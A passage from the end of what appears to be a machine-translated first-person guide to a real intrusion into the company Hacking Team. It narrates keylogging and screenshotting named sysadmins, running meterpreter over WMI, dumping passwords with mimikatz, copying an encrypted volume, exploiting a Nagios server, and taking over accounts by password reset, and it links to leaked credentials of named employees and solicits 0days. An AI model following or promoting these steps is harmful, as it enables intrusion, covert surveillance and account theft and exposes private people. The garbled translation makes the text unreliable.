  742.    select fullname | files.txt -append out-file}
  743.  
  744.    Later, you can read at your own pace and choose which ones you want to download.
  745.  
  746. 2) Read post
  747.  
  748.    As we have seen, you can be downloaded emails with powershell, and have
  749.    lots of useful information.
  750.  
  751. 3) Read sharepoint
  752.  
  753.    It is another place where many companies have important information. It can
  754.    download with powershell [10].
  755.  
  756. 4) Active Directory [11]
  757.  
  758.    It has lots of useful information about users and computers. Without being
  759.    domain administrator, and you can find lots of information
  760.    powerview and other tools [12]. After getting manager
  761.    domain should export all the information of AD with csvde or other
  762.    tool.
  763.  
  764. 5) Spying on employees
  765.  
  766.    One of my favorite pastimes is hunting the sysadmins. spying
  767.    Christan Pozzi (sysadmin Hacking Team) got the server accesso
  768.    Nagios gave me accessibility to sviluppo rete (network development in
  769.    RCS source code). With a simple combination of Get-Keystrokes and
  770.    Get-TimedScreenshot of PowerSploit [13], Do-Exfiltration of Nishang [14], and
  771.    GPO, you can spy on any employee or even the entire domain.
  772.  
  773. [1] https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
  774. [2] http://www.harmj0y.net/blog/tag/powerview/
  775. [3] http://www.harmj0y.net/blog/powershell/veil-powerview-a-usage-guide/
  776. [4] http://www.harmj0y.net/blog/redteaming/powerview-2-0/
  777. [5] http://www.harmj0y.net/blog/penetesting/i-hunt-sysadmins/
  778. [6] http://www.slideshare.net/harmj0y/i-have-the-powerview
  779. [7] https://adsecurity.org/?p=2535
  780. [8] https://www.youtube.com/watch?v=rpwrKhgMd7E
  781. [9] https://github.com/mubix/netview
  782. [10] https://blogs.msdn.microsoft.com/rcormier/2013/03/30/how-to-perform-bulk-downloads-of-files-in-sharepoint/
  783. [11] https://adsecurity.org/?page_id=41
  784. [12] http://www.darkoperator.com/?tag=Active+Directory
  785. [13] https://github.com/PowerShellMafia/PowerSploit
  786. [14] https://github.com/samratashok/nishang
  787.  
  788.  
  789. - [14 - Hunting Sysadmins] ------------------------------------------ ----------
  790.  
  791. By reading the documentation of its infrastructure [1], I realized that even I
  792. lacked access to something important - "Rete Sviluppo" an isolated network
  793. keeps all the RCS source code. Sysadmins of a company always
  794. They have access to everything. I searched computers Mauro Romeo and Christian
  795. Pozzi to see how they handle the network sviluppo, and to see if there were other
  796. interesting systems should investigate. It was easy to access your
  797. computers since they were part of the Windows domain that had
  798. administrator. Mauro computer Romeo had no open port,
  799. so I opened the port of WMI [2] to execute meterpreter [3]. In addition to
  800. record catches with keys and Get-Keystrokes and Get-TimedScreenshot, used many
  801. modules / gather / metasploit, CredMan.ps1 [4], and searched files [5]. seeing
  802. that Pozzi had a Truecrypt volume, I waited until he had assembled to
  803. then copy the files. Many have laughed weak passwords
  804. Christian Pozzi (Christian Pozzi and generally provides enough material
  805. for comedy [6] [7] [8] [9]). I included them in filtration as an oversight and
  806. to laugh at him. The reality is that mimikatz and keyloggers see all
  807. same passwords.
  808.  
  809. [1] http://hacking.technology/Hacked%20Team/FileServer/FileServer/Hackingteam/InfrastrutturaIT/
  810. [2] http://www.hammer-software.com/wmigphowto.shtml
  811. [3] https://www.trustedsec.com/june-2015/no_psexec_needed/
  812. [4] https://gallery.technet.microsoft.com/scriptcenter/PowerShell-Credentials-d44c3cde
  813. [5] http://pwnwiki.io/#!presence/windows/find_files.md
  814. [6] http://archive.is/TbaPy
  815. [7] http://hacking.technology/Hacked%20Team/c.pozzi/screenshots/
  816. [8] http://hacking.technology/Hacked%20Team/c.pozzi/Desktop/you.txt
  817. [9] http://hacking.technology/Hacked%20Team/c.pozzi/credentials/
  818.  
  819.  
  820. - [15 - The Bridge] ------------------------------------------ ------------------
  821.  
  822. Within the volume encryption Christian Pozzi, there was a textfile with many
  823. passwords [1]. One was for a Nagios server Fully Automated,
  824. I had access to sviluppo network to monitor it. Had found
  825. the bridge. Only had the password for the Web interface, but there was a
  826. Public exploit [2] to execute code and get a shell (is an exploit
  827. unauthenticated, but it takes a user has logged in to the
  828. I used that password textfile).
  829.  
  830. [1] http://hacking.technology/Hacked%20Team/c.pozzi/Truecrypt%20Volume/Login%20HT.txt
  831. [2] http://seclists.org/fulldisclosure/2014/Oct/78
  832.  
  833.  
  834. - [16 - Reusing and restoring passwords] ----------------------------
  835.  
  836. Reading the post, he had seen Milan Daniele granting access to
  837. git repositories. And I had its windows password by mimikatz. The
  838. I tried with git server and it worked. I tried sudo and it worked. For him
  839. gitlab server and your twitter account, I used the "I forgot my
  840. Password "and my access to the mail server to restore
  841. password.
  842.  
  843.  
  844. - [17 - Conclusion] ------------------------------------------- ----------------
  845.  
  846. It is done. So easy it is to tear down a company and stop their abuses
  847. human rights. That is the beauty and the asymmetry of hacking: with only a hundred
  848. hours of work, one person can undo years of work of a
  849. multimillion-dollar company. The hacking gives us the possibility of the dispossessed
  850. fight and win.
  851.  
  852. Hacking guides often end with a warning: This information is
  853. only for educational purposes, I am an ethical hacker, not attacks on computers without
  854. permission, gobbledygook. I will say the same, but with a more rebellious concept
  855. hacking "ethical". Filter ethical hacking documents would expropriate money
  856. banks, and protect computers of ordinary people. However, the
  857. Most people who call themselves "ethical hackers" work only
  858. to protect those who pay their consulting fee, which often are the
  859. they most deserve to be hacked.
  860.  
  861. Hacking Team is see themselves as part of a tradition of inspiring
  862. Italian [1] design. I see them Vincenzetti, your company, and their cronies
  863. police, police, and government, as part of a long tradition of
  864. Italian fascism. I want to dedicate this guide to the victims of the assault on the
  865. Armando Diaz school, and all those who have shed their blood on hands
  866. Italian fascists.
  867.  
  868. [1] https://twitter.com/coracurrier/status/618104723263090688
  869.  
  870.  
  871. - [18 - Contact] ------------------------------------------- ------------------
  872.  
  873. To send spearphishing attempts, death threats written in
  874. Italian [1] [2] and to give me 0days or access within banks,
  875. corporations, governments etc.
  876.  
  877. [1] http://andres.delgado.ec/2016/01/15/el-miedo-de-vigilar-a-los-vigilantes/
  878. [2] https://twitter.com/CthulhuSec/status/619459002854977537
  879.  
  880. porfa only encrypted mails:
  881. https://securityinabox.org/es/thunderbird_usarenigmail
  882.  
  883. -----BEGIN PGP PUBLIC KEY BLOCK-----
  884.  
  885. mQENBFVp37MBCACu0rMiDtOtn98NurHUPYyI3Fua+bmF2E7OUihTodv4F/N04KKx
  886. vDZlhKfgeLVSns5oSimBKhv4Z2bzvvc1w/00JH7UTLcZNbt9WGxtLEs+C+jF9j2g
  887. 27QIfOJGLFhzYm2GYWIiKr88y95YLJxvrMNmJEDwonTECY68RNaoohjy/TcdWA8x
  888. +fCM4OHxM4AwkqqbaAtqUwAJ3Wxr+Hr/3KV+UNV1lBPlGGVSnV+OA4m8XWaPE73h
  889. VYMVbIkJzOXK9enaXyiGKL8LdOHonz5LaGraRousmiu8JCc6HwLHWJLrkcTI9lP8
  890. Ms3gckaJ30JnPc/qGSaFqvl4pJbx/CK6CwqrABEBAAG0IEhhY2sgQmFjayEgPGhh
  891. Y2tiYWNrQHJpc2V1cC5uZXQ+iQE3BBMBCgAhBQJXAvPFAhsDBQsJCAcDBRUKCQgL
  892. BRYCAwEAAh4BAheAAAoJEDScPRHoqSXQoTwIAI8YFRdTptbyEl6Khk2h8+cr3tac
  893. QdqVNDdp6nbP2rVPW+o3DeTNg0R+87NAlGWPg17VWxsYoa4ZwKHdD/tTNPk0Sldf
  894. cQE+IBfSaO0084d6nvSYTpd6iWBvCgJ1iQQwCq0oTgROzDURvWZ6lwyTZ8XK1KF0
  895. JCloCSnbXB8cCemXnQLZwjGvBVgQyaF49rHYn9+edsudn341oPB+7LK7l8vj5Pys
  896. 4eauRd/XzYqxqNzlQ5ea6MZuZZL9PX8eN2obJzGaK4qvxQ31uDh/YiP3MeBzFJX8
  897. X2NYUOYWm3oxiGQohoAn//BVHtk2Xf7hxAY4bbDEQEoDLSPybZEXugzM6gC5AQ0E
  898. VWnfswEIANaqa8fFyiiXYWJVizUsVGbjTTO7WfuNflg4F/q/HQBYfl4ne3edL2Ai
  899. oHOGg0OMNuhNrs56eLRyB/6IjM3TCcfn074HL37eDT0Z9p+rbxPDPFOJAMFYyyjm
  900. n5a6HfmctRzjEXccKFaqlwalhnRP6MRFZGKU6+x1nXbiW8sqGEH0a/VdCR3/CY5F
  901. Pbvmhh894wOzivUlP86TwjWGxLu1kHFo7JDgp8YkRGsXv0mvFav70QXtHllxOAy9
  902. WlBP72gPyiWQ/fSUuoM+WDrMZZ9ETt0j3Uwx0Wo42ZoOXmbAd2jgJXSI9+9e4YUo
  903. jYYjoU4ZuX77iM3+VWW1J1xJujOXJ/sAEQEAAYkBHwQYAQIACQUCVWnfswIbDAAK
  904. CRA0nD0R6Kkl0ArYB/47LnABkz/t6M1PwOFvDN3e2JNgS1QV2YpBdog1hQj6RiEA
  905. OoeQKXTEYaymUwYXadSj7oCFRSyhYRvSMb4GZBa1bo8RxrrTVa0vZk8uA0DB1ZZR
  906. LWvSR7nwcUkZglZCq3Jpmsy1VLjCrMC4hXnFeGi9AX1fh28RYHudh8pecnGKh+Gi
  907. JKp0XtOqGF5NH/Zdgz6t+Z8U++vuwWQaubMJTRdMTGhaRv+jIzKOiO9YtPNamHRq
  908. Mf2vA3oqf22vgWQbK1MOK/4Tp6MGg/VR2SaKAsqyAZC7l5TeoSPN5HdEgA7u5GpB
  909. D0lLGUSkx24yD1sIAGEZ4B57VZNBS0az8HoQeF0k
  910. =E5+y
  911. -----END PGP PUBLIC KEY BLOCK-----
  912.  
  913. If not you, who? If not now, when?
  914. _ _ _ ____ _ _
  915. | | | | __ _ ___| | __ | __ ) __ _ ___| | _| |
  916. | |_| |/ _` |/ __| |/ / | _ \ / _` |/ __| |/ / |
  917. | _ | (_| | (__| < | |_) | (_| | (__| <|_|
  918. |_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_)
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